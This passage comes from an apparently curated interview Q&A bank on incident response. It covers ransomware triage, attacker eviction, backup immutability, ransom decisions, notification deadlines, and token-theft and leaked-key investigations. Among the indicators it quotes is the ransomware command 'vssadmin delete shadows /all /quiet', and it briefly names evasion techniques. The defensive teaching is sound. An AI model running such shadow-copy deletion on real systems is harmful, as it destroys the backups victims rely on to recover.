Budget the window. Rough planning figures: 16 GB to local SSD is single-digit minutes; the same image to a network share over 1 GbE is bounded by the link. 16 GB at ~110 MB/s is about 2.5 minutes of transfer before read and compression overhead.
Encrypted disks. Powering off drops the volume keys out of memory. That is good for confidentiality and bad for you: you now need the recovery key to image the disk at all. Check escrow before you decide, not after.
Failure modes to watch. A graceful shutdown runs shutdown handlers and rewrites the pagefile: some persistence fires there, so check RunOnce keys and systemd shutdown units on the image. Driver-based capture can BSOD a fragile host, which loses the memory you were trying to save. And an isolate policy that only blocks the wired NIC leaves the attacker a cellular or BMC path out; confirm with an out-of-band probe.
Decide the class of host that gets forensic capture, and who can authorise the delay, before the incident, not during it.
Curated: · Written: · Reviewed:
Q&A-18You have removed the malware. How do you know the attacker is out?
You don't know. You can only get to a defensible level of confidence and state what it rests on. Deleting the payload removes the part the attacker expected you to find; it does nothing about persistence, credentials, or remote access, and any one of those puts them back.
Three things have to be true before you say they're out:
- No persistence remains on any host in scope, not just the ones that alerted.
- No credential the attacker could have touched still authenticates.
- No channel they used still reaches in.
Persistence is enumerated, not remembered. Walk a checklist per platform and record what you checked, because "we looked around" is not evidence.
| Surface | Where it hides | Check |
|---|---|---|
| Scheduled tasks | Task Scheduler, including hidden and non-Microsoft tasks | schtasks /query /fo LIST /v |
| Services | SCM, including svchost-hosted and unquoted paths | Get-CimInstance Win32_Service |
| Registry autostart | Run/RunOnce, Winlogon Shell/Userinit, IFEO debuggers | reg query HKLM\...\Run |
| WMI event subscription | root\subscription: survives reboot, no file on disk | Get-WmiObject -Namespace root\subscription -Class __EventFilter |
| Linux | cron, systemd units, ~/.bashrc, /etc/ld.so.preload | systemctl list-unit-files, crontab -l |
| SSH | authorized_keys for every account, including service accounts | find / -name authorized_keys |
Compare each against a known-good baseline (golden image, config-management state, or a sibling host). A task that exists on one host and nowhere else is the finding.
Credentials are the part people skip. If the attacker had admin on a host, assume every secret that host could read is burned: local account hashes, service account passwords, SSH keys, cloud IAM keys, OAuth refresh tokens, API keys in config. Rotate them. In Active Directory a golden ticket survives password resets of every account except krbtgt, and it survives one reset of that too: reset krbtgt twice, separated by more than the maximum ticket lifetime (10 hours by default), so the second reset invalidates tickets minted after the first.
Rebuild beats clean where you can't enumerate. Rebuilding from a trusted image is the only method that removes persistence you failed to find. It costs downtime and data migration, so it's the right call for hosts that held credentials or whose full configuration you can't account for; cleaning is defensible for a host you can enumerate exhaustively that holds no secrets.
Then watch. The evidence that they're out is negative: no authentication from the attacker's accounts or hosts after remediation, no new persistence appearing, no egress to their infrastructure. Plant canaries: a domain account with a plausible name and no owner, a fake AWS key in a config file, and alert on any use. Review authentication logs for the attacker's known accounts and source IPs for 30 days, not 3.
The failure mode is a cleaned host that reappears in alerts 9 days later because a scheduled task created during the intrusion was missed while the investigation focused on the service the malware installed. That's what happens when you enumerate by memory.
So the answer you give is not "they're out." It's "here is every persistence location we checked on every host in scope, here is every credential we rotated, here is the monitoring in place, and here is the residual risk", and you name what you couldn't verify.
Curated: · Written: · Reviewed:
Q&A-34You receive an alert that several endpoints across two business units are exhibiting rapid file renames with a common extension and shadow-copy deletion, and one host shows a scheduled task created by a service account. Walk me through your triage and containment steps in the first hour?
I would answer ransomware triage in the first hour by separating what was detected from what was merely logged.
Confirm the alert at machine speed, then contain: the first hour exists to stop encryption spreading while preserving the evidence that reveals the entry point. Containment and evidence capture run in parallel, and affected hosts are isolated rather than powered off because the encryption keys, injected code and live sessions are in RAM and vanish with the power.
Concretely, validate the alert against EDR process lineage, the shadow-copy deletion command lines and file-creation rates before calling it ransomware, then bound the scope using the EDR console and asset inventory through the service account's logon events and lateral-movement indicators. Contain with EDR network isolation on confirmed hosts, disable and reset the service account, block the C2 addresses at the edge, and pull memory and triage images before anyone rebuilds anything.
The reason for that specificity is a failure I have seen: A team isolated six encrypting workstations within 20 minutes but left the service account active while they finished scoping; its scheduled task launched the encryptor against two file-server shares 40 minutes later, taking encrypted files from 9,000 to 310,000 and turning a one-day restore into a three-week recovery.
The first hour, in order.
| Elapsed | Action | What it buys |
|---|---|---|
| 0–10 min | Pull EDR lineage for the rename burst; confirm vssadmin delete shadows /all /quiet or wmic shadowcopy delete in the command line | Separates ransomware from a backup or sync agent |
| 10–15 min | EDR network-isolate the 4 confirmed hosts | Encryption stops spreading; disk and RAM stay intact for imaging |
| 15–25 min | Disable and reset the service account, pull its logon trail (4624 type 3 and 10, 4672) | Removes the mechanism that runs on every host it touched |
| 25–40 min | Block C2 IPs and domains at edge, proxy and DNS; hunt those indicators | Cuts second-stage pulls and exfiltration |
| 40–55 min | Memory capture plus KAPE triage on one host per business unit; raise the legal hold | Preserves keys and chain of custody before rebuild |
| 55–60 min | Sweep all hosts the account touched and all rename bursts in the estate | Turns 4 known hosts into a stated upper bound |
I would not consider it settled without evidence: Show the EDR process lineage behind the rename burst and the service account's authentication trail from the domain controllers for the preceding 48 hours, and state what each one tells you about scope.
Stop the spread in the first hour; the evidence you capture in that hour decides whether you ever find the door they came through.
Curated: · Written: · Reviewed:
Q&A-35Which response actions would you automate?
What I'd automate, in one line: everything that gathers evidence or can be undone in seconds; nothing that takes a person or a service out of production without a human in the loop.
Tier 1: automatic, no gate. Enrichment and bookkeeping: pull the process tree and parent chain, file hashes and signer, live network connections, the user's recent auth history, IP reputation, and prior alerts on the same host; tag the alert; open the ticket; page the on-call; snapshot volatile memory. None of these change availability, and each is what the human needs in the first two minutes anyway. Automating them is what buys the human time to decide.
Tier 2: automatic behind a precision gate. Reversible containment: block a source IP at the edge with a TTL, revoke a user's sessions, force a password reset, disable a cloud access key, quarantine a file. Each is undoable, but each has a blast radius: a blocked IP can be a corporate NAT egress, a session revoke can log out an on-call engineer mid-incident.
Tier 3: human decides. Disable an account, isolate a host, revoke a role, delete a mailbox, anything touching a production database or a shared network path. These are irreversible in effect (isolating a host is "reversible" only if you can afford the outage while you reverse it) or their cost of being wrong exceeds the attack's.
The gate is precision, not severity. Expected wrong actions = (1 − precision) × alert volume. A rule firing 50 times a week at 2% precision produces 49 wrong actions a week. To hold wrong actions to one a week you need precision ≥ 98%. That arithmetic, not the alert's name, decides whether a rule is automatable.
| Action | Undo cost | Blast radius | Precision floor I'd set |
|---|---|---|---|
| enrich, tag, ticket | none | none | any |
| block IP at edge (TTL 1h) | seconds | shared NAT/proxy | ≥ 90% |
| revoke sessions / force reset | minutes | one user | ≥ 95% |
| disable account | hours (helpdesk) | one user + their on-call | ≥ 99% |
| isolate host | service outage | one service | human |
| revoke cloud role | workload breakage | one workload | human |
Make every action idempotent: the alert path is at-least-once.
def handle(alert, store):
key = f"{alert.rule}:{alert.user}:{alert.window}" # 15-minute bucket
if not store.set_if_absent(key, ttl=900):
return "duplicate" # redelivery of the same alert
if precision(alert.rule, days=7) < 0.99:
return escalate(alert) # human decides
return revoke_sessions(alert.user)
Trace: the same alert is delivered twice. First call finds the key absent, sets it, and revokes sessions. Second call, inside the 900 s window, finds the key present and returns "duplicate": no second revoke. But watch the ordering: the key is written before the action. If the process dies between those two lines, the key is set and the revoke never happens: the action is silently lost. That is the at-most-once/at-least-once trade-off. For containment I'd rather act twice than not at all, so I'd write the intent, act, then mark done, and make revoke_sessions itself idempotent (revoking an already-revoked session is a no-op).
Failure modes I'd watch, and how.
- Precision drift. A rule tuned on last quarter's traffic loses precision when the attacker changes tooling. Detect: track the automated-action-to-confirmed-incident ratio weekly; when it drops below the floor, auto-demote the rule to tier 3.
- Automation as denial of service. An attacker who knows the rule triggers it deliberately: spoofed logins to lock out the on-call, or IP blocks that cut off your own jump hosts. Detect: cap automated actions per user and per source per hour; pre-check IPs against known corporate egress ranges.
- Partial playbook. A 429 or an expired service-account token mid-playbook leaves a host half-contained. Detect: per-step success metric plus a canary action every 5 minutes; a playbook that fails a step runs its compensating rollback rather than stopping.
- Stale enrichment. Cached reputation older than the incident window makes the human's decision wrong. Detect: timestamp every enrichment field and show its age in the ticket.
What I'd leave manual, deliberately. Account disable and host isolation, unless the rule is high-confidence (known-bad hash on a host with no business running it), in which case auto-isolate with a 15-minute revert window and a page. That is human-on-the-loop, not human-in-the-loop, and the difference matters: human-in-the-loop adds the on-call's wake-up latency to every true positive; human-on-the-loop keeps containment at seconds and pays only when the automation was wrong.
Curated: · Written: · Reviewed:
Q&A-36What makes a backup strategy survive ransomware?
The short answer: at least one copy that nobody holding production credentials can delete or encrypt, plus a restore you have actually performed and timed. Immutability, separation, and a proven restore. Everything else is a backup, not a ransomware recovery plan.
What I'd clarify first. What RTO and RPO has the business signed up for? How long could an intruder sit undetected: that sets the retention floor. Is there a regulatory retention requirement? And does the backup tier have its own identity plane, or does it trust production's?
Why it works. The operator playbook is boring and consistent: escalate to domain admin, delete shadow copies, destroy the backup server and its catalog, then encrypt production. So the control is not encryption strength: it is that the production identity cannot reach or destroy the copy. Two ways to get that: a physical air gap (tape or removable media not mounted), or immutability enforced by a provider that refuses deletion even for the account root until retention expires. S3 Object Lock in compliance mode, AWS Backup Vault Lock in compliance mode, Azure immutable blob with a locked time-based policy. Governance mode and unlocked policies are not that: a principal with the bypass permission can remove them.
Separation means a different account or tenant, different credentials, no cross-account trust back into production, and MFA delete. The catalog and the backup software's encryption keys have to live inside that boundary too: a catalog you cannot read is a restore you cannot perform.
| Design | Prod domain admin can delete? | Restore proven? | RTO |
|---|---|---|---|
| Backup server joined to prod AD | yes | no | n/a |
| Separate share, same credentials | yes | no | n/a |
| Object storage, versioning, no lock | yes, delete the versions | no | unknown |
| Object Lock, governance mode | yes, with bypass permission | no | unknown |
| Object Lock compliance, separate account | no, until retention expires | monthly, automated | measured |
| Offline tape, rotated | no, media not mounted | quarterly | hours to days, tape recall |
A worked timeline (hypothetical, but the shape is typical):
- Day 0, 09:00. Phishing, foothold.
- Day 3, 14:00. Domain admin.
- Day 4, 02:00.
vssadmin delete shadows /all /quietacross file servers; backup catalog deleted; backup server disks encrypted. - Day 4, 04:00. Production encrypted.
With a compliance-mode lock in a separate account, the 02:00 deletes return AccessDenied. The copy from Day 3, 23:00 is intact. Restore starts 06:00, finishes 12:00: RTO 6 h, RPO 7 h. Without the lock, the newest surviving copy is whatever was offsite and forgotten.
Failure modes worth naming.
- Immutable but never restored. RTO is unknown, and you discover it during the incident. Automated restore verification (Veeam SureBackup or an equivalent) is what turns "we have backups" into a number.
- Retention shorter than dwell time. If the lock expires at 14 days and the intrusion began 30 days ago, every surviving copy is either encrypted or aged out. 30–90 days is common; you pay for storage you cannot delete, which is the actual cost of the control.
- Keys or catalog in the blast radius. Immutable data with a domain-joined catalog is unreadable data.
- Restoring the malware. Restore into an isolated network, scan, and pick a point before the earliest known compromise, which may be older than your RPO. RPO and "clean point" are different numbers.
- Backups don't stop exfiltration. Double extortion leaks data before encryption. Backups buy availability, nothing else.
Detection. Alert on backup job failures, a sudden drop in catalog object count, DeleteObject or DeleteBackupVault in CloudTrail, changes to Object Lock retention settings, and new IAM principals granted backup permissions. Those are the signals the backup tier is under attack.
Evidence I'd ask for: a dated restore record with elapsed time and data loss, and a drill where someone holding production admin credentials tries and fails to delete the immutable copy.
A backup reachable from production is part of production.
Curated: · Written: · Reviewed:
Q&A-37Who decides whether to pay a ransom, and what would you prepare in advance?
The pay/no-pay call belongs to the CEO or board, not the security team. The CISO supplies facts (recovery time, scope, exfiltration evidence) while general counsel, the CFO and the insurer constrain the options. What you prepare in advance is the authority, the constraints, and the alternative to paying.
Who decides
| Role | Owns | Gate before payment |
|---|---|---|
| CEO / board | final call | — |
| General counsel | legality, sanctions screening | sign-off required |
| CFO | cost vs recovery, insurance claim | sign-off required |
| CISO | recovery estimate, technical facts | input |
| Insurer | coverage, pre-approval, panel IR firm | notification required |
| FBI / NCSC | intel, tracing, decryptor help | recommended |
Why the decision takes days, not hours
Three gates sit between "we could pay" and "we paid", and each is external to the security team:
- Sanctions screening. Under the US Treasury OFAC advisory of 21 September 2021, paying a ransom to a person on the SDN list, or to an entity 50%-owned by one, is a sanctions violation for US persons, regardless of intent. Counsel screens the actor's wallets and aliases against SDN before any transfer. A hit stops payment outright.
- Insurer pre-approval. Most cyber policies require notification and often pre-approval before payment; paying first can void the ransom sublimit.
- Payment logistics. Ransoms are paid in crypto through a broker or KYC exchange; acquiring and moving the sum takes hours to days and leaves a traceable record.
Pay or restore: the deciding criteria
| Criterion | Favours paying | Favours restoring |
|---|---|---|
| Sanctions | no SDN match | any match: payment illegal |
| Decryptor | family known, vendor-tested | untested or buggy |
| Recovery time | RTO measured in weeks | tested restore, RTO in hours |
| Exfiltration | no data taken | data taken: payment won't stop the leak |
| Insurance | ransom covered | excluded |
Failure modes
- No named decider. Detected in a tabletop: ask who signs, and if two people disagree, you have the failure. It shows up as escalation paralysis while systems stay down.
- Paying a sanctioned actor. Detected only by screening before transfer; OFAC penalties are strict-liability.
- Paying without insurer notification. Claim denied, and the ransom becomes an uninsured cost.
- Assuming payment stops the leak. Double extortion means exfiltrated data is sold or leaked anyway; treat payment and leak response as separate tracks.
- Trusting the decryptor. Sophos's 2022 State of Ransomware survey found 46% of organisations that paid recovered their data: a decryptor is not a recovery plan.
Prepare in advance
A named decision authority with a documented threshold; pre-retained incident-response counsel and a sanctions-screening process; the insurer contact and pre-approval path; a crypto acquisition route; and a restore tested to a measured RTO, so "don't pay" has a number attached to it.
Curated: · Written: · Reviewed:
Q&A-51When does the notification clock start?
The 90-second answer
It depends on the regime, and the regimes do not agree on the trigger, so the first move is to name which clock you are on before answering.
Three triggers cover most of what a senior engineer will be asked about:
- Awareness. GDPR Art. 33(1) gives the controller 72 hours from becoming aware of a personal data breach. Recital 87 and EDPB Guidelines 9/2022 tie awareness to a reasonable degree of certainty that a breach occurred, not the mere possibility of one. A processor's clock is separate and shorter: Art. 33(2), notify the controller without undue delay.
- Discovery. HIPAA, 45 CFR 164.404(a)(2): a breach is discovered on the first day it is known, or would have been known with reasonable diligence. Individual notice is then due within 60 days of discovery (164.404(b)).
- Determination of materiality. SEC Item 1.05 of Form 8-K: four business days after the registrant determines an incident is material, not four days after detection.
NIS2 adds a two-stage clock: Art. 23(4) wants an early warning within 24 hours of awareness, then the fuller notification within 72 hours.
So the answer is: the clock starts at the earliest trigger among the regimes you are actually subject to, and those triggers are different events.
Worked trace
A breach is confirmed Monday 14:00 with customer PII in the exfil set.
| Time | Event | Clock |
|---|---|---|
| Mon 14:00 | PII confirmed in exfil set | GDPR awareness; 72h → Thu 14:00 |
| Tue 10:00 | Legal opens materiality analysis | SEC clock not yet running |
| Wed 16:00 | Board determines incident material | SEC 4 business days → Tue 16:00 (following week) |
The GDPR deadline lands Thursday afternoon; the SEC deadline lands the following Tuesday. The binding clock started 20 hours before anyone opened the materiality question.
The trade-off, and when waiting is right
Waiting is defensible up to a point, and the criteria are the regime's own trigger. GDPR does not require notifying a possibility, so a bounded investigation to reach reasonable certainty is permitted, and the clock is not paused while you do it. Past certainty, further investigation buys nothing and costs budget. If you blow 72 hours, Art. 33(4) requires you to explain the delay in the notification itself, and Art. 33(5) requires you to document the breach regardless. The SEC trigger is the opposite shape: it rewards a documented materiality process, because the four days do not start until you determine.
Failure mode
The clock that starts without a ticket. Nobody records when awareness occurred, so nobody can say when the 72 hours began, and the first question from the regulator is unanswerable. Detect it by requiring an awareness timestamp on the incident ticket at declaration, and rehearse with legal on an ambiguous scenario until you agree on when awareness happened.
Curated: · Written: · Reviewed:
Q&A-52What do you tell the business while an incident is still unfolding?
The 90-second answer
You tell them four things, in this order: what we know, what we don't know, what it means for them, and when they'll hear from you next. Then you keep that last promise even when the first three haven't changed. The update is not a status report on your debugging: it's the thing that stops the business from running its own incident in parallel.
Why cadence beats completeness
An incident channel is a vacuum, and the business fills vacuums. Support starts drafting customer emails, sales starts calling accounts, someone spins up a separate war room. Each of those is a second response you now have to reconcile on top of the outage. A 15-minute update that says "still failing, no ETA, next update 14:30" costs one person two minutes and keeps the whole org on one narrative.
The trade-off you actually have to make
Two credible policies, and the choice is not obvious:
- Fixed cadence: publish on a schedule whether or not anything changed.
- Material change only: publish when the cause, impact or ETA moves.
Material-change-only is defensible when the audience is small and technical (one service team), the incident is short, and everyone can see the same dashboards you can. It falls apart when the audience is non-technical, when the blast radius is customer-visible, or when the incident will run past roughly 30 minutes, because the audience's tolerance for silence is shorter than your debugging loop.
Deciding criteria: audience size and technical depth, customer visibility, expected duration, and whether the audience has independent access to the same signal. If any of the last three is true, go fixed cadence.
The second trade-off is who owns comms. The incident commander owns it by default, which is fine for a 20-minute incident. Past that the IC is doing two jobs and the updates are the first thing to slip. Hand comms to a dedicated comms lead (a trained on-call, not whoever is free) with authority to publish without IC sign-off on wording. The IC keeps veto on facts.
Failure modes
- Speculating on cause in the first update. "Looks like a bad deploy" becomes the official story; when it turns out to be a cert expiry, you've spent credibility you'll need later. Say "we have a hypothesis, not confirmed."
- Promising an ETA. "Back by 3pm" is a commitment you can't keep. Give the next update time, not the fix time.
- A comms lead without authority. If every update needs IC approval, you're back to the IC doing comms.
- Letting the update go stale. The fourth consecutive "still investigating" reads as "we're lost."
Worked example (hypothetical)
Checkout API returning 500s; 100% of card payments failing. Timeline:
- 14:02. Alert fires, IC declares incident.
- 14:09. First update: "Card payments failing for all users. Cause unknown. No workaround. Next update 14:24." Support sends this verbatim.
- 14:24. "Still failing. We've ruled out the payment provider; they report healthy. Next update 14:39."
- 14:39. "Still failing. Hypothesis: our config rollout at 13:50. Not confirmed. Next update 14:54."
- 14:54. "Confirmed: bad config rollout. Rollback in progress, about 10 minutes. Next update 15:09."
- 15:06. "Rollback complete, payments recovering. Monitoring. Next update 15:36."
Each update carries impact in business terms, confirmed versus hypothesis, and the next update time. The 14:24 update adds nothing about the cause, and it's the one that keeps support from emailing customers.
How you'd know it worked
Measure the gap between updates in game days and real incidents; a gap over twice your stated cadence is a finding. Also count investigations started outside the incident channel: that number is what the cadence exists to hold at zero.
Curated: · Written: · Reviewed:
Q&A-102A SIEM alert shows an impossible-travel sign-in to your cloud admin console: 40 minutes apart, two continents. Walk me through the investigation and how you decide whether it is really the user.
Start by refusing the alert's framing. "Impossible travel" is a heuristic, not a finding. A VPN exit, a mobile carrier's egress NAT, or a cloud proxy can put the same user on two continents in 40 minutes. The question that decides the incident is not where the user was: it is whether a live session token is being driven by someone who never passed MFA.
Pull the raw identity provider logs, not the SIEM's summary. In Entra ID that is the sign-in log; in Okta, the System Log. For the two events, compare: IP and ASN, device ID and compliance state, client app, the authentication details (was MFA satisfied in this sign-in or inherited from an earlier one?), and the session or refresh token identifier.
AADSignInEventsBeta
| where AccountUpn == "admin@contoso.com"
| where Timestamp > ago(24h)
| project Timestamp, IPAddress, Country, ClientAppUsed, DeviceName,
IsManaged, RiskLevelDuringSignIn, AuthenticationDetails, SessionId
| order by Timestamp asc
Three hypotheses, and the log evidence that separates them:
| Hypothesis | What you see |
|---|---|
| Genuine travel / VPN | Both sign-ins pass MFA fresh; device ID matches the user's managed device; ASN is a known corporate or consumer VPN. |
| MFA fatigue | A burst of push notifications, several denied or timed out, then one approved: often from the same IP as the first sign-in. |
| Token theft | Second sign-in has no MFA challenge; MFA is "previously satisfied"; different device ID, different user agent, often a legacy client app that bypasses conditional access. |
The arithmetic is worth doing out loud: London to Singapore is roughly 10,800 km. In 40 minutes that is 16,200 km/h. No commercial flight, but a cloud proxy in Singapore fronting a user in London produces exactly that. So the distance is not the proof.
The decisive check is the token. If the second sign-in inherited an MFA claim, the attacker has a refresh token or session cookie: stolen by infostealer malware, an adversary-in-the-middle proxy like Evilginx, or a malicious browser extension. That is not a password problem; rotating the password alone will not evict them.
Conditional access context is where you find the gap. Look at what CA policy evaluated on the second sign-in: device compliance, managed device, trusted location, client app, sign-in risk. If the policy only required MFA for unmanaged devices and the attacker's client presented a token that already carried the MFA claim, the policy passed. That is the bypass.
Decision procedure:
- Reach the user on a known-good channel. Ask: are you travelling, and is this your device? Do not ask "did you approve a push?": ask them to read the device ID from their own session.
- If they confirm and the device ID matches, close as benign but verify no new tokens were issued and no admin actions occurred.
- If they deny, or you cannot reach them within 15 minutes, treat as compromise. Revoke refresh tokens and sessions at the IdP: signing out alone does not invalidate refresh tokens in most providers. Disable the account, rotate credentials, and reset MFA registrations.
- Then read the audit log for what the session did: role assignments, new app registrations, service principal credentials, mailbox rules, key vault access. The sign-in is the alarm; the actions are the incident.
Failure modes to name: closing on the user's verbal confirmation without checking the device ID; revoking sessions but not refresh tokens; disabling the account before exporting the audit log, which destroys the evidence of what the attacker did.
Curated: · Written: · Reviewed: —
Q&A-101A public GitHub repository contains a live AWS access key belonging to your organization. Walk me through your response from the moment you find out.
Treat the key as compromised the moment it is public. Public repositories are scraped continuously, and a key matching the AKIA pattern should be assumed used within minutes of the commit. So the first action is containment, not investigation.
First 15 minutes: contain
- Deactivate, don't delete.
aws iam update-access-key --access-key-id AKIA... --status Inactive. Deactivation is instant and reversible; deletion destroys the correlation you are about to need. If you are unsure whether the key is live, deactivate anyway: a false positive costs one broken pipeline, a false negative costs the account. - Record the identifiers. Key ID, the IAM principal it belongs to, and the commit SHA and timestamp.
git log -S 'AKIA' --allfinds it even if the current tree is clean. - Do not rewrite history first. It does not remove the key from forks, GitHub's cache, or the scraper that already has it, and it destroys your timeline.
Next hour: CloudTrail review
Query by access key ID: aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA..., or Athena over the CloudTrail table. The window runs from the key's creation date, not the commit date: the key may have been committed long after it was made.
| Phase | Events to look for |
|---|---|
| Recon | GetCallerIdentity, ListBuckets, DescribeInstances, GetAccountAuthorizationDetails |
| Escalation | CreateUser, CreateAccessKey, AttachUserPolicy, PutRolePolicy, AssumeRole |
| Persistence | CreateLoginProfile, UpdateAssumeRolePolicy, CreateFunction, RunInstances |
| Exfil / impact | GetObject, StartExportTask, ModifyDBInstance, DeleteTrail, StopLogging |
Pull sourceIPAddress, userAgent and errorCode for each. GetCallerIdentity is the most common first call: it is a cheap liveness check and succeeds silently while the key is live. A scanner's user agent is usually python-requests or Boto3; a human operator's is more varied. Do not stop at the first hit.
Blast radius
Do not infer from the policy name. Simulate: aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123456789012:user/deploy --action-names '*'. What matters is whether the principal held * on any resource, and whether it could reach S3, Secrets Manager or IAM itself.
Then look for what the attacker left, not only what they took: new access keys on other users, changed trust policies, new Lambda functions, modified bucket policies, a stopped trail. Assume persistence until you have checked.
Prevention
- GitHub secret scanning with push protection, plus a
gitleakspre-commit hook so the key never reaches the remote. - Kill long-term keys. Humans get IAM Identity Center; CI gets OIDC federation, so there is no secret to leak. A GitHub Actions job with
permissions: id-token: writeandaws-actions/configure-aws-credentialsreceives credentials valid for an hour. - An SCP denying
iam:CreateAccessKeyoutside a break-glass role, and GuardDuty findings routed to on-call.
A worked example: the key was committed at 14:02 and deactivated at 14:19. CloudTrail shows 340 calls in that window, 338 from two scanner IPs doing GetCallerIdentity and ListBuckets with AccessDenied, and two from a residential IP doing GetObject on one bucket. That is not a scanner, and the incident is now a data-exposure case with a notification clock, not a hygiene ticket.
Curated: · Written: · Reviewed: —
Q&A-39What belongs in a post-incident review beyond the timeline?
Beyond the timeline, a review answers three questions the timeline can't: what conditions made the failure possible, why detection took as long as it did, and what made the response slow. Each gets its own action items with an owner and a date, and the review stays open until those close.
Contributing factors, not a root cause. A timeline shows the trigger; the review shows the conditions that let the trigger do damage. A bad config deploy is a trigger. The conditions are that the config had no validation, that the change went out without a canary, and that the affected route was too small a share of traffic to trip the error-rate alert. Naming a single "root cause" collapses those into one action and leaves the rest in place.
Detection and response analysis. Split the incident into phases and time each one. The gap between impact starting and someone knowing is the detection latency; the gap between knowing and mitigating is the response latency. They have different fixes.
Worked example (figures hypothetical):
| Phase | Time | Duration |
|---|---|---|
| Deploy of bad config | 14:02 | — |
| First user-visible errors | 14:03 | 1 min |
| Alert fires | 14:41 | 38 min |
| On-call acks | 14:52 | 11 min |
| Rollback complete | 15:30 | 38 min |
Total impact 87 minutes. The 38-minute detection gap is the actionable number: the error-rate alert threshold was 5% and the route carried 0.8% of traffic, so it never fired. The fix is a per-route alert, not "watch dashboards more closely."
Action items with owners and dates. Every finding becomes an item with a named owner and a due date, tracked in the same system as other work. An item without an owner is a wish.
Follow-up. Reopen the review at 30 days and check whether items closed. Unclosed items are the most common failure: the review is written, the doc is filed, and the alert threshold never changes.
Blameless, but specific. Blameless means people aren't punished for the incident; it does not mean decisions go unnamed. "The deploy skipped the canary because the pipeline flag defaults to off" is specific and blameless. "Sam deployed carelessly" is neither useful nor accurate.
Trade-offs. Blameless reviews get honest data; blameful ones get sanitized timelines, which is why the practice exists. But blameless is not the same as accountability-free: systems and decisions are named, people are not. Weight matters too: a SEV1 with customer impact earns the full contributing-factor analysis; a one-line revert with no user impact earns a short note in the change log, not a two-hour meeting. And when the incident is a pure external dependency outage with no internal contribution, the contributing-factor section is thin by design: record the dependency, the blast radius, and the mitigation, and spend the effort on the failover instead.
Failure modes to watch: a review that stops at the timeline; "more training" as the only action; items with no owner or date; and no follow-up, so the same detection gap survives to the next incident.
Curated: · Written: · Reviewed:
Q&A-38What makes an incident exercise worth the participants' time?
The short answer. An exercise earns its time when it ends with a list of things that were true before and are fixed after: an access grant that didn't exist, a runbook step that named the wrong tool, a timeout that fires before the system can heal. If the output is "the team knows the plan", you tested memory, not readiness.
Why describing fails. A walkthrough asks people to recall a procedure. Execution asks them to perform it, and the two diverge exactly where it matters: the IAM permission nobody holds, the bastion that needs a ticket, the CLI flag that changed. Google's SRE book describes this shape as DiRT, with Wheel of Misfortune as the low-cost end and full game days at the other; the value scales with how much of the response is actually performed.
What to require. Draw the scenario from your own incident history, not a generic list. Have participants execute each step against real systems where safe. Inject a complication partway: the on-call's laptop can't reach the VPN, the console for the primary region is degraded. Record every point where someone had to look something up or lacked access; those are the findings.
Named tooling that makes this cheap: AWS Fault Injection Simulator for AWS resources (it has stop conditions backed by CloudWatch alarms. Set one before you inject), Chaos Mesh or Gremlin for Kubernetes, tc qdisc add dev eth0 root netem delay 200ms for latency, iptables -A INPUT -s 10.0.3.7 -j DROP for a partition.
A trace that shows why execution matters. Take an ALB target group on its defaults: health check interval 30 s, timeout 5 s, unhealthy threshold 2. The app's own client timeout is 3 s with one retry.
- Inject 200 ms latency. Every health check returns inside the 5 s timeout. No finding.
- Change to 6 s:
tc qdisc change dev eth0 root netem delay 6000ms. Each check now exceeds the 5 s timeout, so it counts as failed. Two consecutive failures remove the target after roughly 2 × 30 s = 60 s. - Meanwhile the app's client gives up at 3 s and retries once, so callers see errors from t=0 until the target leaves rotation at t≈60 s.
The finding is arithmetic, not opinion: the client timeout and the health check threshold disagree by a factor of 20, and no runbook step says so. That is a config change with an owner, which is what you wanted from the afternoon.
Findings by exercise style. Illustrative figures from one team's two exercises: the ratio is the point, not the absolute counts.
| Style | Steps executed | Findings that changed something |
|---|---|---|
| Walkthrough (Wheel of Misfortune) | 0 of 12 | 1 |
| Hands-on in staging with FIS | 12 of 12 | 9 |
When it isn't worth it. A generic scenario, steps narrated rather than run, the complication announced in advance, or no owner for the findings. Destructive injection in production without a stop condition and a rollback path is worse than no exercise.
How to score it. Count the steps completed unaided; every incomplete one becomes a finding with an owner and a date. Then track how many of those findings are closed before the next exercise. If that number is zero, the next one isn't worth the time either.
Curated: · Written: · Reviewed:
Q&A-32You can fund one exercise. Red team or purple team?
Purple team, on one condition: someone is trying to evade your detections while you run it.
Assumptions first, because the answer flips on them. I assume your problem is "we don't know what we'd actually catch", that your detection stack has rules worth testing, and that you have analysts who own those rules. If endpoint telemetry is thin and nobody owns the alerts, a purple exercise produces a list of gaps you cannot close; spend the money on logging and detection engineering first.
A red team produces one path and one narrative. It answers "could an adversary reach the domain admin account" - binary, point in time, and its durable value is the path, not the pass/fail. A purple exercise produces a coverage state per technique, with denominators: say 40 techniques run, 29 with no detection, and a named owner for each of the 29. That is the unit of work you can actually close this quarter.
Cost, with illustrative figures. Two operators for 15 days is 30 person-days and one report. Two attackers plus four defenders (two analysts, a detection engineer, an IR lead) for 5 days is also 30 person-days, and the output is per-technique coverage plus the rules and runbook edits that came out of it. Same spend, different unit: path discovered versus coverage state.
The loop, again illustrative of the shape rather than a measured benchmark:
| Technique | Attempt | Result | Action |
|---|---|---|---|
| T1059.001 PowerShell | textbook encoded command | alert fired, triaged in 4 minutes | none |
| T1059.001 again | same technique, in-memory loader, no encoded command line | no alert | rule matches command-line shape only; rewrite |
| T1127.001 MSBuild | unmodified project that compiles and runs C# | no alert | execution via trusted developer utilities is unmonitored |
Row two is why most purple exercises are worthless. If the operator runs Atomic Red Team defaults and stops when an alert fires, "detected" describes the test, not your coverage. The operator needs authority to modify tradecraft and keep going, and the scoring rule is that a technique counts as detected only if a modified attempt also fires.
Second failure mode: remediation capacity. Twenty-nine gaps against one detection engineer is six months of backlog, and gaps age out as the environment moves. Size the exercise to what you can fix - twelve techniques fully closed beats forty recorded and forgotten.
Third: pulling analysts off the queue raises live triage time for the week. Schedule it and tell the on-call stakeholders, or run the blue side off-shift so the on-call crew handles production alerts.
What you give up by not funding the red team: an unscripted adversary who is not performing for an audience and did not hand you the technique list in advance. A purple exercise is narrated and the SOC knows it is an exercise, so human response under real pressure goes untested. If the open question is whether your identity and perimeter controls hold against someone with your budget, that needs the red team. If the open question is where your blind spots are, purple buys more of the answer per dollar.
So fund the purple exercise, staff it with the operator you would otherwise have hired for the red team, and put a red team engagement in the following budget cycle.
Curated: · Written: · Reviewed:
Q&A-78Why does layering still matter when you are investigating an intrusion?
Layering matters in an intrusion investigation because it tells you which evidence source can answer which question, and, more usefully, which questions a source you already have cannot answer, no matter how long you stare at it.
